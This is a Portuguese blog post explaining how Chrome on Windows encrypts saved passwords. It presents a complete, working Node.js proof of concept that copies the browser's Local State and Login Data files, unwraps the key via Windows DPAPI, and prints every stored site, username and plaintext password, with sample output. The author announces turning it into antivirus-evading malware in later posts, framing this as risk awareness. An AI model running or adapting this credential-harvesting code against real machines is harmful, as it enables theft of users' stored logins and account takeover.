chrom3 p4ssword$
“Who Watches the Watchmen?“
É comum esquecermos de senhas. Principalmente quando elas preenchem os requisitos atuais de segurança (caracteres especiais, números, letras, etc ...)
Alguns optam por utilizar softwares que funcionam como um banco pessoal de senhas, outros preferem salvar as informações de contas e cartões no próprio navegador.
Partindo desse principio, comecei a tentar entender como o Chrome salva e protege essas senhas. Pesquisando no Google, consegui descobrir algumas informações sobre o fluxo de registro das senhas no Chrome:
-
O Chrome criptografa as senhas utilizando o algoritmo AES-256-GCM. Para descriptografar, é necessário ter essas informações:
- Encrypted Key - Chave de segurança
- Initial Vector - Segunda chave de segurança, isso garante que mesmo criptografando a mesma senha, utilizando a mesma Encrypted Key, não teremos o mesmo resultado.
- Authentication Tag - Uma terceira camada de segurança, geralmente ela é concatenada no fim da senha criptografada.
-
As senhas salvas ficam em um arquivo SQLite
-
O Chrome salva a encryption key, dentro de um arquivo json
-
O Chrome utiliza uma API nativa do Windows para gerar a encrypted key.
Algumas informações sobre a estrutura das senhas criptografadas:
- As senhas criptografadas possuem um prefixo de 3 bytes "v10"
- O IV (initial vector), possui 12 bytes.
- A tag de autenticação possui 16 bytes.
- A string da senha criptografada (ciphertext) está entre o iv e a tag de autenticação
Com todas essas informações em mãos, comecei a escrever um código para ler esses arquivos e tentar descriptografar essas senhas. Fiquei nisso uns 3 dias, pois a linguagem que eu escolhi para criar o script, ela não tem acesso nativamente à API do Windows. Criei várias PoC para tentar acessar a dll de criptografia do Windows, mas nenhuma me deu acesso a 100% das funções do Windows.
Até que encontrei um artigo sobre como o NodeJS pode executar códigos escritos em C++. Essa foi a saída perfeita. Comecei a escrever uma lib para fazer interface com o Windows, mas no meio das pesquisas acabei encontrando um repositório no git que já possuia uma lib parecida.
Escrevi a seguinte PoC:
import fs from "fs"
import crypto from "crypto"
import sqlite3 from "sqlite3"
const dpapi = require("win-dpapi")
const LOCAL_STATE = process.env.LOCALAPPDATA + "\\Google\\Chrome\\User Data\\Local State"
const LOGIN_DATA = process.env.LOCALAPPDATA + "\\Google\\Chrome\\User Data\\Default\\Login Data"
const captureSecretKey = (localState: string) => {
const stateObject = JSON.parse(fs.readFileSync(localState, "utf-8"))
const buff = Buffer.from(stateObject.os_crypt.encrypted_key, "base64")
const buffWithout = buff.filter((value, index, arr) => index > 4)
const key = dpapi.unprotectData(buffWithout, null, "CurrentUser")
return key
}
const decryptPassword = (encryptedPassword, key) => {
const prefix = encryptedPassword.slice(0, 3)
const iv = encryptedPassword.slice(3, 15)
const ciphertext = encryptedPassword.slice(15, encryptedPassword.length - 16)
const authTag = encryptedPassword.slice(encryptedPassword.length - 16)
const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv)
decipher.setAuthTag(authTag)
const decryptedCookie = Buffer.concat([decipher.update(ciphertext), decipher.final()])
return decryptedCookie.toString("utf-8")
}
const main = async () => {
await fs.copyFileSync(LOCAL_STATE, "state.json")
await fs.copyFileSync(LOGIN_DATA, "database.db")
const db = new sqlite3.Database("database.db")
const key = captureSecretKey("state.json")
db.serialize(() => {
db.each("SELECT origin_url, username_value, password_value FROM logins", (err, row) => {
console.log({
site: row.origin_url,
username: row.username_value,
password: decryptPassword(row.password_value, key),
})
})
})
}
main()
Resultado:
yarn run v1.22.17
$ ts-node -r tsconfig-paths/register teste.ts
{
site: 'http://site.com/login',
username: 'teste',
password: 'teste'
}
PoC finalizada e aprovada. Nos próximos posts, vou mostrar como eu criei um malware (que até então, não está sendo identificado pela maioria dos anti-vírus) utilizando o código acima e mais alguns recursos, com o intuito de mostrar como deixar as senhas salvas no Chrome pode ser um risco muito grande.